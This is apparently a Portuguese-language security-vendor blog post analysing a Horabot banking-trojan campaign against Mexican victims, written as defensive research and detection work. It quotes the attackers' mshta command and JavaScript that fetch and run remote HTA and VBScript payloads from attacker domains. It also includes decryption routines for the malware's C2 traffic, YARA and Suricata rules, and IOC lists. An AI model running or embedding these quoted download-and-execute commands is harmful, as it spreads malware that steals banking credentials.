The SOC Files: Hora de “Sapecar”! Análise de uma nova campanha do Horabot no México

Descrições de malware

18 mar 2026

minutos de leitura

Introdução
O ponto de partida
A cadeia de ataque

Estágio 1: Isca inicial
Estágio 2: Um toque de polimorfismo no lado do servidor
Estágio 3: A combinação maligna do AutoIT e do trojan bancário.
Estágio 4: O propagador

Engenharia de detecção e oportunidades de busca de ameaças

Regras Yara
Hunting queries

IOCs

Autores

Introdução

No episódio de hoje da nossa série SOC Files vamos revelar os detalhes de uma campanha direcionada de malware que nossa equipe de MDR identificou e neutralizou alguns meses atrás, envolvendo uma ameaça conhecida como Horabot, que é um bundle de um trojan bancário e um disseminador de e-mail, e sua notável e complexa cadeia de ataque.

Embora pesquisas anteriores tenham documentado campanhas do Horabot (aqui e aqui), nosso objetivo é destacar o quanto essa ameaça permanece ativa e compartilhar alguns aspectos que não foram abordados nessas análises.

O ponto de partida

Como de costume, nossa história começa com um alerta que surgiu em um dos ambientes de nossos clientes. A regra que o acionou é genérica, mas eficaz para detectar uma atividade mshta suspeita. O caso ganhou proporção após esse alerta inicial, mas, felizmente, teve um desfecho positivo. O Kaspersky Endpoint Security interveio, encerrou o processo malicioso (via PDM, um módulo de defesa proativa) e removeu os arquivos relacionados a ele antes que a ameaça pudesse progredir.

Depois disso, tivemos um brainstorming sobre este incidente em uma de nossas reuniões semanais. Isso foi o suficiente para despertar a curiosidade de um dos nossos analistas e levá-lo a analisar mais a fundo o modo de operação por trás dessa campanha.

A cadeia de ataque

Após algumas pesquisas e muita investigação da infraestrutura do adversário, nossa equipe conseguiu mapear toda a cadeia de ataque de ponta a ponta. Nesta seção, vamos detalhar cada estágio e explicar como a operação se desenrola.

Estágio 1: Isca inicial

Após observar os pormenores do incidente relatado, a atividade parece começar com uma página falsa de CAPTCHA, no estilo mais comum. No incidente mencionado acima, esta página estava localizada na URL https://evs.grupotuis[.]buzz/0capcha17/ (os detalhes sobre seu conteúdo podem ser encontrados aqui).

Página CAPTCHA falsa na URL https://evs.grupotuis[.]buzz/0capcha17/

Assim como no caso Lumma e Amadey, esta página instrui o usuário a abrir a caixa de diálogo Executar, colar um comando malicioso nela e executá-lo. Após ser enganada, a vítima colaria um comando semelhante ao apresentado a seguir:

mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

1	mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

O arquivo HTA executado por este comando continha o seguinte conteúdo:

Trata-se essencialmente de um pequeno loader. Quando executado, ele abre uma janela em branco e, em seguida, extrai e executa imediatamente um payload JavaScript externo que está hospedado no domínio do atacante. O corpo contém um grande bloco de palavras aleatórias e sem sentido, sem utilidade funcional.

Estágio 2: Um toque de polimorfismo no lado do servidor

O payload carregado pelo arquivo HTA cria um novo elemento <script> de forma dinâmica, define sua origem para um VBScript externo hospedado em outro domínio controlado pelo atacante e o injeta na seção <head> de uma página hardcoded no HTA. O conteúdo completo da página pode ser visualizado na caixa abaixo. Após ser anexado, o script VBS externo é imediatamente baixado e executado, levando o ataque à próxima etapa.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

var scriptEle = document.createElement("script");

scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");

scriptEle.setAttribute("type", "text/vbscript");

document.getElementsByTagName('head')[0].appendChild(scriptEle);

O conteúdo VBS do próximo estágio é semelhante ao exemplo mostrado abaixo. Durante nossa análise, observamos o uso de polimorfismo no lado do servidor, uma vez que cada acesso ao mesmo recurso retornava uma versão ligeiramente diferente do código, mantendo a mesma funcionalidade.

O script é ofuscado e emprega uma rotina de encoding de strings personalizada. Uma versão mais legível pode ser observada abaixo, com as strings decodificadas e substituídas usando um pequeno script Python que replica a rotina decode_str().

O script executa praticamente a mesma função que o arquivo HTA inicial. Ele acessa um loader em JavaScript, que então injeta e executa outro script VBS polimórfico.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

var scriptEle = document.createElement("script");

scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");

scriptEle.setAttribute("type", "text/vbscript");

document.getElementsByTagName('head')[0].appendChild(scriptEle);

Ao contrário do primeiro script, este é muito mais complexo, com mais de 400 linhas de código. Ele é o responsável pelo trabalho pesado da operação, o qual passaremos a referenciar como heavy lifter. Abaixo está um breve resumo das suas características principais:

Ofuscação intensa: o script usa várias camadas de ofuscação para camuflar seu comportamento.
Decodificador de strings personalizado: ele utiliza a mesma rotina de decodificação encontrada no primeiro script VBS para reconstruir strings durante o tempo de execução.
Anti-VM e “anti-Avast”: ele executa verificações básicas do ambiente e é encerrado se uma pasta Avast específica ou artefatos de VM forem detectados.
Coleta e exfiltração de informações: o script coleta o IP do host, o nome do host, o nome de usuário e a versão do SO, e então, envia esses dados para um servidor de C2.
Download de componentes adicionais: baixa o executável do AutoIT, seu compilador (Aut2Exe), um script (au3) e um arquivo blob, colocando-os sob o caminho hardcoded “C:\Users\Public\LAPTOP-0QF0NEUP4″.
Execução do comando do PowerShell: o script executa comandos do PowerShell que acessam duas URLs diferentes (uma indisponível e a outra que leva ao primeiro stager do propagador de malware, que descreveremos mais adiante neste artigo).
Configuração de persistência: cria um arquivo LNK e o coloca na pasta de Inicialização para manter a persistência.
Rotinas de limpeza: remove arquivos temporários e encerra processos selecionados.

Durante a análise do heavy lifter, especificamente na rotina de exfiltração, identificamos o destino para o qual os dados coletados estavam sendo enviados. Após analisar a URL associada e remover a parte “salvar.php”, descobrimos uma página da Web exposta publicamente que o adversário utilizava para listar todas as suas vítimas.

Como você deve ter notado, a tabela está em português do Brasil e traz uma lista de vítimas desde maio de 2025 (esta captura de tela foi feita em setembro). Na coluna “Localização”, o adversário chegou a incluir até mesmo as coordenadas geográficas das vítimas, que estão omitidas na captura de tela. Uma análise rápida mostra que das 5.384 vítimas, 5.030 estavam localizadas no México, o que representa cerca de 93% do total.

Estágio 3: A combinação maligna do AutoIT e do trojan bancário.

Agora é hora de focar nos arquivos baixados pelo heavy lifter. Conforme já mencionado, três componentes do AutoIT foram gravados no disco: o arquivo executável (AutoIT3), o compilador (Aut2Exe) e o script (.au3), junto com um arquivo blob criptografado. Como temos acesso ao código do script AutoIt, podemos analisar as rotinas dele. O problema é que ele contém mais de 750 linhas de código fortemente ofuscado, então, vamos nos ater apenas ao que realmente importa.

A rotina mais importante é responsável por descriptografar o arquivo blob (ela usa AES-192 com a chave derivada da seed 99521487), carregá-lo diretamente na memória e, em seguida, chamar a função exportada B080723_N. O blob descriptografado é uma DLL.

Aqui também conseguimos replicar a lógica de descriptografia usando um script Python e extrair a DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED) manualmente. Após a triagem inicial e a detonação da amostra em sandbox, observamos o seguinte:

A amostra é um trojan bancário Delphi muito conhecido, detectado por vários mecanismos sob nomes diferentes, como Casbaneiro, Ponteiro, Metamorfo e Zusy.
Ele tem duas bibliotecas OpenSSL antigas incorporadas (libeay32.dll e ssleay32.dll) do Indy Project, uma biblioteca de comunicações cliente/servidor de código aberto que é usada para estabelecer a comunicação HTTPS do C2 entre cliente e servidor.
O trojan também inclui comandos SQL usados para coletar credenciais de navegadores.

Uma vez carregado na memória, o trojan envia várias solicitações HTTP para diferentes URLs:

URL	Descrição
https://cgf.facturastbs[.]shop/0725/a/home (GET)	Uma página que contém uma configuração criptografada
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Uma URL para envio de informações do host, mas o valor estava vazio nos nossos testes de laboratório. Exemplo de conteúdo da solicitação: Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Uma URL usada para postar envio de informações de vítimas Exemplo de conteúdo da solicitação: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Página HTML que serve de isca, projetada para induzir o usuário a acessar um link malicioso, cujo conteúdo também é usado como um anexo de PDF durante a fase de disseminação de e-mails.
https://upstar.pics/a/08/150822/up/up (GET)	O recurso já estava indisponível no momento em que nosso teste foi realizado.
https://cgf.midasx.site/a/08/150822/au/au (GET)	A página que contém o primeiro estágio que leva ao propagador de malware

Como essa família de malware foi muito documentada em pesquisas anteriores, não reiteramos sua funcionalidade, pois ela já é bastante conhecida. Em vez disso, focaremos nos recursos menos documentados e observados há pouco tempo, incluindo a criptografia do malware e a lógica de manipulação do protocolo.

A amostra implementa uma stateful XOR-subtraction cipher na sub-rotina sub_00A86B64, usada para proteger strings e descriptografar os dados HTTP recebidos do C2. Ao contrário de um XOR simples, aqui, cada saída de byte depende da chave e do byte anterior. No nosso exemplo, a chave é a string "0xFF0wx8066h".

Construção de chave (à esquerda) e lógica de descriptografia (à direita)

É fácil reimplementar a lógica da rotina em Python. Podemos usar o seguinte trecho e integrá-lo no nosso fluxo de trabalho para automatizar a descriptografia de strings:

def decrypt_string(encrypted_hex):
    key_string = "0xFF0wx8066h"
    key_index = 0
    result = ""
    
    current_key = int(encrypted_hex[0:2], 16)
    
    i = 2
    while i < len(encrypted_hex):
        next_key = int(encrypted_hex[i:i+2], 16)
        if key_index >= len(key_string):
            key_index = 0
        key_char = ord(key_string[key_index])
        xored_value = next_key ^ key_char
        
        if xored_value > current_key:
            decrypted_char = xored_value - current_key
        else:
            decrypted_char = (xored_value + 0xFF) - current_key
        
        result += chr(decrypted_char)
        current_key = next_key
        key_index += 1
        i += 2
    
    return result

def decrypt_string(encrypted_hex):

key_string = "0xFF0wx8066h"

key_index = 0

result = ""

current_key = int(encrypted_hex[0:2], 16)

i = 2

while i < len(encrypted_hex):

next_key = int(encrypted_hex[i:i+2], 16)

if key_index >= len(key_string):

key_index = 0

key_char = ord(key_string[key_index])

xored_value = next_key ^ key_char

if xored_value > current_key:

decrypted_char = xored_value - current_key

else:

decrypted_char = (xored_value + 0xFF) - current_key

result += chr(decrypted_char)

current_key = next_key

key_index += 1

i += 2

return result

Implementação em Python da rotina de descriptografia

As strings criptografadas são extraídas de três maneiras diferentes: pesquisas indexadas usando uma lista de strings Delphi criptografada global (também observada pelos nossos colegas na ESET), referências diretas a strings hexadecimais criptografadas na seção de dados e referências indiretas usando variáveis de ponteiro, adicionando alguma sobrecarga ao automatizar a descriptografia com scripts.

Ponteiro direto (à esquerda), ponteiro indireto (à direita)

Strings indexadas por meio de pesquisas TStringList

O malware busca sua configuração executando uma solicitação HTTPS GET para o seu servidor de C2 hardcoded e criptografado. O servidor responde com uma configuração, consistindo em vários valores, cada um criptografado de forma individual com o mesmo algoritmo visto anteriormente. A amostra extrai parâmetros específicos conforme a posição deles na lista.

Valores de configuração descriptografados (senha de root ocultada)

Para melhorar a legibilidade, a captura de tela acima foi editada. Os parâmetros descriptografados foram adicionados e depois separados com novas linhas duplas.

A recuperação e análise da configuração são iniciadas na sub-rotina sub_00AD2C70, onde o primeiro valor de configuração, a configuração de conexão do socket do C2 (host;port), é extraído.

Extração do endereço de socket do C2

Se a análise falhar, o malware recorre a um endereço de socket C2 secundário hardcoded, estabelecendo então a conexão de socket.

Retorno para o endereço de socket hardcoded (lifenews[.]pro:49569)

Os valores de configuração adicionais são analisados na sub_00AD2918 (e suas sub-rotinas). Apenas para fornecer um exemplo, na configuração de C2 descriptografada mostrada acima, o parâmetro 5 contém a string “UPON” que aciona a execução, e o parâmetro 6 contém os comandos do PowerShell a serem executados quando essa string é usada. A parte da rotina que cuida da análise desse comando pode ser visualizada abaixo:

Extração dos valores 5 e 6 da configuração

Além da comunicação HTTP, o malware também é compatível com a comunicação por raw socket, usando um protocolo personalizado que encapsula comandos em tags como <|SIMPLE_TAG|> ou <|TAG|>Arg1<|>Arg2<<|>.

O cliente inicia a conexão com o C2 na sub-rotina sub_00AD331C, onde estabelece um socket TCP com o servidor do operador e envia o comando "PRINCIPAL" para solicitar um canal de controle. Ao receber uma resposta OK, ele responde com a mensagem "Info", contendo informações do sistema. Depois de validado, o servidor responde com a mensagem "SocketMain" que inclui um ID de sessão, concluindo o handshake. Toda manipulação de comandos subsequente ocorre na sub-rotina sub_00AD373C, uma rotina de orquestração central que analisa as mensagens recebidas e despacha as ações maliciosas.

A amostra, e consequentemente o próprio protocolo, é herdada, conforme destacado anteriormente por nossos colegas da ESET, do projeto Delphi Remote Access PC de código aberto. A seguir está uma comparação visual:

Comparação dos comandos “PING” e “Close” (desmontagem da amostra à esquerda, código-fonte do Delphi Remote Access à direita)

Alguns recursos do projeto de código aberto (como os comandos de chat e de manipulação de arquivos) foram removidos, enquanto certos comandos relacionados ao mouse foram curiosamente renomeados com prefixos como “LULUZ” (por exemplo, LULUZLD, LULUZPos), possivelmente como uma piada interna, uma forma de ofuscação contra análise ou simplesmente para marcar variantes personalizadas. Além da funcionalidade padrão, o protocolo agora inclui uma série de comandos personalizados adicionais, como LULUZSD (para rolagem da roda do mouse para baixo), ENTERMANDA (para simular a tecla Enter), e COLADIFKEYBOARD (para injetar texto arbitrário como se fossem pressionamentos de teclas).

O conjunto de comandos completo é consideravelmente maior e, embora nem todos os comandos sejam implementados na amostra analisada, o indício da sua presença (por exemplo, na forma de strings) sugere um desenvolvimento contínuo.

Agora que já entendemos o protocolo, vamos nos concentrar no algoritmo de criptografia usado. Nesta amostra, o tráfego que usa o canal do socket do C2 é criptografado usando outro algoritmo stateful XOR e com chaves de descriptografia incorporadas. Sua lógica é implementada nas sub-rotinas sub_00A9F2D0 (criptografia) e sub_00A9F5C0 (descriptografia):

Rotina de criptografia sub_00A9F2D0

A rotina de criptografia gera três chaves inteiras aleatórias de quatro dígitos. A primeira chave atua como o estado do algoritmo de criptografia inicial, enquanto as outras duas atuam como multiplicador e incremento, que são aplicados em cada estágio de criptografia ao estado e aos dados. Para cada caractere da string de entrada, ele usa o byte mais alto do estado atual, executa um XOR com o caractere a ser criptografado e, em seguida, atualiza o estado do algoritmo de criptografia para o próximo caractere. A saída é criada ao anexar as 3 chaves ao texto criptografado, encapsulando tudo dentro dos marcadores “##”. O resultado final será semelhante ao seguinte:

##[key1][key2][key3][encrypted_hex_data]##

1	##[key1][key2][key3][encrypted_hex_data]##

A seguir, um snippet em Python para decodificar esse tipo de tráfego:

def deobfuscate_traffic(obfuscated):
    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
        raise ValueError("Invalid format")

    core = obfuscated[2:-2]
    
    key1 = int(core[0:4])
    key2 = int(core[4:8])
    key3 = int(core[8:12])
    
    hex_data = core[12:]
    
    current_key = key1
    output_chars = []
    
    for i in range(0, len(hex_data), 2):
        xored = int(hex_data[i:i+2], 16)
        
        high_byte = (current_key >> 8) & 0xFF
        original_char = chr(xored ^ high_byte)
        output_chars.append(original_char)
        
        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
    
    return "".join(output_chars)

def deobfuscate_traffic(obfuscated):

if not (obfuscated.startswith("##") and obfuscated.endswith("##")):

raise ValueError("Invalid format")

core = obfuscated[2:-2]

key1 = int(core[0:4])

key2 = int(core[4:8])

key3 = int(core[8:12])

hex_data = core[12:]

current_key = key1

output_chars = []

for i in range(0, len(hex_data), 2):

xored = int(hex_data[i:i+2], 16)

high_byte = (current_key >> 8) & 0xFF

original_char = chr(xored ^ high_byte)

output_chars.append(original_char)

current_key = ((current_key + xored) * key2 + key3) & 0xFFFF

return "".join(output_chars)

Embora essa camada de criptografia provavelmente tenha sido projetada para evadir a inspeção de rede, ela ironicamente facilita a detecção devido à sua estrutura altamente regular e repetitiva. Esse padrão, incluindo os marcadores externos “##”, é incomum em tráfegos legítimos e pode ser usado como uma assinatura de rede confiável para sistemas IDS/IPS. Abaixo está uma regra do Suricata que corresponde à estrutura descrita:

alert tcp any any -> any any ( \
    msg:"Horabot C2 socket communication (##hex##)"; \
    flow:established; \
    content:"##"; depth:2; fast_pattern; \
    content:"##"; endswith; \
    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
    classtype:trojan-activity; \
    sid:1900000; \
    rev:1; \
    metadata:author Domenico; \
)

alert tcp any any -> any any ( \

msg:"Horabot C2 socket communication (##hex##)"; \

flow:established; \

content:"##"; depth:2; fast_pattern; \

content:"##"; endswith; \

pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \

classtype:trojan-activity; \

sid:1900000; \

rev:1; \

metadata:author Domenico; \

)

O malware contém funcionalidades para exibir pop-ups falsos às vítimas, com o objetivo de induzi-las a inserir credenciais bancárias, conforme também documentado por nossos colegas da Fortinet. As imagens desses pop-ups são armazenadas como recursos criptografados. Ao contrário das strings, os recursos são descriptografados usando o algoritmo de criptografia RC4 padrão e a chave pega-avisao3234029284 é extraída da estrutura TStringList anterior no offset 3FEh.

Overlay de token falso usado para roubo de credenciais (à direita), com desmontagem (à esquerda)

O jogo de palavras em torno de “pega a visão”, uma gíria brasileira que significa “captar a ideia”, revela uma referência cultural intencional, o que mostra que os operadores têm laços com o Brasil e uma compreensão nativa do idioma.

Abaixo está uma colagem de fotos em que as overlays dos bancos alvo estão visíveis.

Trecho de overlays falsas descriptografadas

Estágio 4: O propagador

Nos nossos testes, notamos que o script VBS (o heavy lifter) e a DLL Delphi (trojan bancário) se sobrepõem com relação à funcionalidade para baixar o próximo estágio por meio do PowerShell. Eles dependem de domínios diferentes, mas seguem o mesmo padrão de URL.

Tentamos acessar URLs destinadas a baixar o propagador. Uma das URLs não retornou nada e, na outra, observamos uma sequência de dois stagers do PowerShell antes de chegar ao propagador propriamente dito.

No segundo, encontramos várias URLs codificadas em base64, mas apenas uma delas estava funcionando durante nossa análise. Com base nos comentários encontrados no código do propagador, suspeitamos que nas versões ou campanhas anteriores ele foi montado peça por peça usando essas outras URLs. Porém, no nosso caso, uma única URL continha todo o código necessário.

Sim, também nos questionamos como o PowerShell consegue aceitar caracteres ASCII aparentemente caóticos como nomes de variáveis/funções. Infelizmente isso é permitido. Após organizar a convenção de nomes confusa e revisar as rotinas devidamente comentadas (obrigado, threat actor), foi possível identificar suas principais funções:

Coletar e-mails por meio do namespace MAPI
Exfiltrar endereços de e-mail exclusivos para o C2
Limpar a caixa de saída
Filtrar os endereços de e-mail exfiltrados com base em uma lista de palavras-chave bloqueadas
Preparar um e-mail de phishing contendo um PDF malicioso
Distribuí-lo em massa para os endereços filtrados

Um ponto interessante é que o código/comentários do propagador nos permite extrair algumas informações úteis:

Todos os comentários são escritos em português do Brasil, o que é um forte indício da origem do threat actor.
É relativamente fácil distinguir comentários escritos por um humano daqueles provavelmente gerados por uma IA/LLM: estes são muito formais e muito bem formatados. Inclusive, um dos comentários feitos por um humano foi a principal inspiração para o título deste artigo.
Um dos comentários no código é “limpa a caixa de saída antes de sapecar”. Sapecar tem um significado muito específico que somente falantes do português do Brasil entendem. O equivalente em inglês mais próximo a este comentário seria algo como: Limpe a caixa de saída antes de “arrebentar” ou “mandar ver”.

Como estamos rastreando a atividade do Horabot há alguns meses, nossa equipe conseguiu compilar uma coleção de exemplos de anexos maliciosos usados nesta campanha. Todos eles estão escritos em espanhol e solicitam que o usuário clique em um botão grande e atraente no documento para acessar um “arquivo confidencial” ou uma “fatura”. Após isso, a mesma cadeia de infecção descrita neste artigo é acionada.

Engenharia de detecção e oportunidades de busca de ameaças

Depois de destrinchar essa cadeia de ataque longa e cheia de camadas, apostamos que alguns dos profissionais técnicos que estão lendo essa postagem já começaram a imaginar possíveis oportunidades de detecção.

Com isso em mente, esta seção reúne algumas regras e queries que você pode usar para detectar e caçar essa ameaça no seu próprio ambiente.

Regras Yara

As regras Yara se concentram em dois componentes principais da operação: o script AutoIt, que funciona como o loader, e a DLL Delphi, que atua como o trojan bancário.

import "pe"

rule Horabot_Delphi_Trojan
{
    meta:
        author = "maT"
        description = "Detects Horabot payload/trojan (Delphi DLL)"
        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
        hash_02 = "4caa797130b5f7116f11c0b48013e430"
        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:
        uint32be(0) == 0x4d5a5000 and 
        filesize < 150MB and 
        pe.is_dll() and
        pe.number_of_exports == 4 and
        pe.exports("dbkFCallWrapperAddr") and
        pe.exports("__dbk_fcall_wrapper") and
        pe.exports("TMethodImplementationIntercept") and
        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
    meta:
        author = "maT"
        description = "Detects AutoIT script used as a loader by Horabot"
    
    strings:
        $winapi_01 = "Advapi32.dll"
        $winapi_02 = "CryptDeriveKey"
        $winapi_03 = "CryptDecrypt"
        $winapi_04 = "MemoryLoadLibrary"
        $winapi_05 = "VirtualAlloc"
        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"
        $str_func01 = "B080723_N"
        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
        $opt_aes192 = "0x0000660f" // CALG_AES_192
        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:
        filesize < 100KB and
        all of ($winapi*) and
        (
            1 of ($str*) or
            all of ($opt*)
        )

}

import "pe"

rule Horabot_Delphi_Trojan

{

meta:

author = "maT"

description = "Detects Horabot payload/trojan (Delphi DLL)"

hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"

hash_02 = "4caa797130b5f7116f11c0b48013e430"

hash_03 = "c882d948d44a65019df54b0b2996677f"

condition:

uint32be(0) == 0x4d5a5000 and

filesize < 150MB and

pe.is_dll() and

pe.number_of_exports == 4 and

pe.exports("dbkFCallWrapperAddr") and

pe.exports("__dbk_fcall_wrapper") and

pe.exports("TMethodImplementationIntercept") and

pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)

}

rule Horabot_AutoIT_Loader

{

meta:

author = "maT"

description = "Detects AutoIT script used as a loader by Horabot"

strings:

$winapi_01 = "Advapi32.dll"

$winapi_02 = "CryptDeriveKey"

$winapi_03 = "CryptDecrypt"

$winapi_04 = "MemoryLoadLibrary"

$winapi_05 = "VirtualAlloc"

$winapi_06 = "DllCallAddress"

$str_seed = "99521487"

$str_func01 = "B080723_N"

$str_func02 = "A040822_1"

$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $

$opt_aes192 = "0x0000660f" // CALG_AES_192

$opt_md5 = "0x00008003" // CALG_MD5

condition:

filesize < 100KB and

all of ($winapi*) and

(

1 of ($str*) or

all of ($opt*)

)

}

Hunting queries

Você pode perceber que alguns padrões nesta seção não aparecem nas URLs descritas anteriormente no artigo. Esses padrões adicionais foram incluídos porque observamos pequenas variações introduzidas pelo threat actor ao longo do tempo, como o uso de códigos QR nas páginas usadas como isca.

VirusTotal Intelligence

entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))

URLScan

page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IOCs

Indicator	Descrição
hxxps://evs.grupotuis[.]buzz/0capcha17/	Página falsa de CAPTCHA
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta	Arquivo HTA
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX	Loader 01 do JavaScript
hxxps://pdj.gruposhac[.]lat/g1/ld1/	VBS polimórfico 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1	Loader de JavaScript 02
hxxps://pdj.gruposhac[.]lat/g1/	VBS polimórfico 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/	Lista de vítimas
hxxps://pdj.gruposhac[.]lat/g1/gerador.php	Link para baixar o script AutoIT
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET)	Lista de endereços de C2 criptografados
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Contatado pela DLL Delphi
hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST) hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Contatado pela DLL Delphi
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Contatado pela DLL Delphi
hxxps://labodeguitaup[.]space/a/08/150822/au/au hxxps://cgf.midasx[.]site/a/08/150822/au/au	Stager 01 do PowerShell
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php	Stager 02 do PowerShell
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app	Link para baixar o Propagador
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1	Lista de palavras-chave bloqueadas
hxxps://thea.gruposhac[.]space/0out0408	Link encontrado no botão do primeiro anexo malicioso
6272EF6AC1DE8FB4BDD4A760BE7BA5ED	Amostra da DLL Delphi
lifenews[.]pro	C2 (socket)
64.177.80[.]44	C2 (socket)

The SOC Files: Hora de “Sapecar”! Análise de uma nova campanha do Horabot no México

The SOC Files: Hora de “Sapecar”! Análise de uma nova campanha do Horabot no México

Introdução

O ponto de partida

A cadeia de ataque

Estágio 1: Isca inicial

Estágio 2: Um toque de polimorfismo no lado do servidor

Estágio 3: A combinação maligna do AutoIT e do trojan bancário.

Estágio 4: O propagador

Engenharia de detecção e oportunidades de busca de ameaças

Regras Yara

Hunting queries

IOCs

Lumma Stealer – Rastreamento de canais de distribuição

Últimas Publicações

Exploits e vulnerabilidades no quarto trimestre de 2025

Vírus de dispositivos móveis 2025

Dividir para conquistar: como o novo backdoor Keenadu ajudou a revelar conexões entre as maiores botnets Android

Spam e phishing em 2025

Relatórios

The SOC Files: Hora de “Sapecar”! Análise de uma nova campanha do Horabot no México

GoPix, o trojan bancário que vive na memória

BeatBanker: um trojan de dupla função para Android

Dividir para conquistar: como o novo backdoor Keenadu ajudou a revelar conexões entre as maiores botnets Android